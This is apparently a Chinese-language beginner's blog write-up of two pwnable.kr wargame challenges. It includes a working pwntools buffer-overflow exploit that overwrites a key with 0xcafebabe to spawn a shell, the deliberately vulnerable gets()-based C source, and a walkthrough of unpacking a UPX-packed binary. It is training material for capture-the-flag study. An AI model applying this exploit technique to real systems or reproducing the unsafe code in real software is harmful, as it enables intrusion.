小白pwn之旅之pwnable02

pwnable----bof和flag

bof是溢出
flag是加了殼

bof

在這裏插入圖片描述

  1. 直接訪問上面的兩個網址,下載bof和bof.c。用file bof查看bof文件,並用IDA打開

在這裏插入圖片描述
2.查看源代碼bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

3.分析

1.首先看main,將func傳入了0xdeadbeef。看func函數,直接看到了/bin/sh(這個,太香了~),看判斷條件要將傳入的數key===0xcafeebabe
2.我們就要找覆蓋多少地址才能將0xdeadbeef改成0xcafebabe,就能getshell,直接在IDA上查找func函數看到地址爲0x2c和0x8,相和爲52.

4.exp編寫

from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52 + p32(0xcafebabe))
p.interactive()

在這裏插入圖片描述

看到flag

flag

1.看題發現只有一個文件,怎麼辦嘛,看看文件屬性file flag,發現加了殼了,用upx -d 解壓,在在IDA上就能看到flag ,但我在網上還看到另一種解法寫下

2.先用strace ./flag 調試一下看到一行就是運行flag文件,在看到brk然後就是一些寫,最後顯示結果I will…,最後退出
在這裏插入圖片描述
我們在用gdb調試一下
在這裏插入圖片描述
在最後退出的時候我們catch它,在r運行讓它報錯
在將用core 保存起來
這個時候我們查看我們的core
最後在strings flag-core

在這裏插入圖片描述
最後在strings flag-core

在這裏插入圖片描述

最後在茫茫代碼看到:)這個就是flag
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章